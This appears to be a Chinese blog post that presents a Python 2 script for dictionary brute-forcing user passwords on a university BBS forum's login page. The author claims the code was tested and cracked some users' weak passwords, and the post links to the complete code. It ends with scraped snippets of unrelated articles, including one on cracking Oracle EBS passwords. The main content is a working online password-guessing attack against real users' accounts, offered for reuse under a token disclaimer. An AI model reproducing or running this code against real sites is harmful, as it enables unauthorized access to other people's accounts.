用python破解某211大学BBS论坛用户密码

本文只是举一反三,用python演示一个思路,适用于不同的网站或者论坛。 请勿用于非法行为。

以下代码亲测有效,破解了一些用户的弱密码。当然破解的成功率和你的字典有关,越复杂的字典,成功率就越高,但是花费的时间也就越长。

# -*- coding: utf-8 -*-
__author__ = ‘rocky‘

# 破解211高校BBS论坛的用户密码
#来源:http://www.rcdisk.com
# 刃草网-记录你的自学

import cookielib, urllib, urllib2, re, time,sys

class BBS_sysu():
    def __init__(self):
    #构造urllib的数据头
        self.login_url = "http://bbs.xxxx.edu.cn/login"
        self.user_agent = ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)‘
        self.headers = {‘User-Agent‘: self.user_agent}
        self.cookie = cookielib.CookieJar()
        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
        self.pattern = re.compile(r‘"success":"(d)"‘)
        self.guess = False
        self.ignore=False

    def urlopen_try(self,req,times=5):
        data=""
        try:
            result = self.opener.open(req)
            data=result.read()
        except Exception,what:
            print what, req;
            if times>0:
                time.sleep(20)
                self.urlopen_try(req,times-1)
                #time.sleep(10)
            else:
                print "Get Failed",req
                time.sleep(5)
                self.ignore=True
                return data
        return data

#破解函数,精华所在

    def crack(self, userid, password):

        postdata = urllib.urlencode({‘userid‘: userid, ‘passwd‘: password})
        #将用户名和密码进行编码

        req = urllib2.Request(self.login_url, data=postdata, headers=self.headers)
        #构造一个Request,传入header和url,用户的数据

完整代码-> http://www.rcdisk.com/index.php/group/topic/id-4

时间: 2024-12-25 06:39:10

用python破解某211大学BBS论坛用户密码的相关文章

破解EBS R12应用和数据库用户密码

1,如果你有某个EBS环境APPS用户密码,可以破解应用用户的密码 参考:Oracle EBS R12下如何破解用户密码 2,如果没有APPS用户密码,还想破解该环境A密码.要看"运气"了,如果有相应的Clone环境B,EBS DBA还没有修改$CONTEXT_FILE内容,并且具有环境A的数据查询权限,可以破解APPS密码 参考:Oracle EBS R12 - 利用PLSQL取得/破解apps密码和EBS中的用户密码 1)在环境B中创建上文中的包,在环境A中查询GUEST用户加密后

Python开发一个简单的BBS论坛

项目:开发一个简单的BBS论坛 需求: 整体参考“抽屉新热榜” + “虎嗅网” 实现不同论坛版块 帖子列表展示 帖子评论数.点赞数展示 在线用户展示 允许登录用户发贴.评论.点赞 允许上传文件 帖子可被置顶 可进行多级评论 就先这些吧... 知识必备: Django HTML\CSS\JS BootStrap Jquery 设计表结构 1 # -*- coding:utf-8 -*- 2 from django.db import models 3 from django.contrib.aut

python批量从数据库中修改root用户密码

1.先创建修改密码的表passmod.svrlist,并插入两条数据 svr_host   #远程连接的主机host svr_port   #通过此端口连接到远程主机 svr_user   #远程连接的主机用户 svr_passwd_old  #远程连接的主机密码 svr_passwd_new #远程连接的主机需要设置的新密码 mod_time   #默认为空,修改成功后,返回修改的时间 mod_status enum('0','1')  #默认为'0',修改成功变成'1' 并授权insert,

python第一百三十天 ---简单的BBS论坛

简单的BBS论坛 实现功能 git仓库地址:https://github.com/uge3/BBS 1.整体参考"抽屉新热榜" + "博客园" 2.实现不同论坛版块 3.帖子列表展示 4.个人博客主页 5.个人博客标签.分类.时间 筛选 6.帖子评论数.点赞数展示 7.允许登录用户发贴.评论.点赞 8.允许上传文件(个人头像) 9.可进行多级评论 10.个人博客后台管理(创建\编辑\删除文章,个人分类\个人标签管理,可以选择个人博客主题,) 11, 通过admin模

Python之路【第十八篇】Django小项目简单BBS论坛部分内容知识点

开发一个简单的BBS论坛 项目需求: 1 整体参考“抽屉新热榜” + “虎嗅网” 2 实现不同论坛版块 3 帖子列表展示 4 帖子评论数.点赞数展示 5 在线用户展示 6 允许登录用户发贴.评论.点赞 7 允许上传文件 8 帖子可被置顶 9 可进行多级评论 知识必备:(注:没有必备下面知识的同学,请返回去看会之后再看下面的内容防止蒙了~~!) 1 Django 2 HTML\CSS\JS 3 BootStrap 4 Jquery 设计表结构 1.表结构重要性 在开发任何项目的时候,设计到数据库,

Django小项目简单BBS论坛

开发一个简单的BBS论坛 项目需求: 1 整体参考"抽屉新热榜" + "虎嗅网" 2 实现不同论坛版块 3 帖子列表展示 4 帖子评论数.点赞数展示 5 在线用户展示 6 允许登录用户发贴.评论.点赞 7 允许上传文件 8 帖子可被置顶 9 可进行多级评论 知识必备:(注:没有必备下面知识的同学,请返回去看会之后再看下面的内容防止蒙了~~!) 1 Django 2 HTML\CSS\JS 3 BootStrap 4 Jquery 设计表结构 1.表结构重要性 在开发

4-源码方式基于LAMP架构搭建BBS论坛或者博客

目录 一.项目简介 二.环境准备 三.编译安装MySQL 四.编译安装Apache 五.编译安装PHP 六.后续配置 七.启动相关服务 八.源码编译软件经验总结 九.部署web应用 排错1: 排错2: 排错3: 大功告成! 课程目标 使用源码方式基于LAMP架构搭建BBS论坛或者博客 本文成功搭建2个网站,一个个人博客,一个是web界面管理mysql数据库的应用 请耐心阅读,细心操作,你也会成功! 思考:yum工具搭建lamp环境和源码包搭建的区别 rpm版本 安装方便,升级.卸载都很灵活,很难

PHP+HTML简单实现BBS论坛与回帖

本文主要讲述如何通过PHP+HTML简单实现BBS论坛和发帖/回帖的功能,这是提取我们php项目的部分内容.主要内容包括: 1.通过JavaScript和Iframe实现局部布局界面 2.PHP如何定义类实现访问数据库功能 3.实现简单的BBS论坛和发帖/回帖功能 由于这个项目是十个人在寒假完成,所以采用了SAE搭建在线的后台数据库,其他人在通过Apache本地设计网页.访问数据库的方法实现,相当于简单的BS三端访问. 源码下载地址: 访问http://localhost:8080/testph

bbs论坛浏览器兼容性问题

一直都是在chrome上进行调试,今天终于把bbs论坛这个项目搭建完了,进入IE.Firefox看了看 吓哭了!!! 火狐 Edge chrome 特别是加了<!DOCTYPE html>后,chrome都出问题了 心好累 等我解决后再来吧~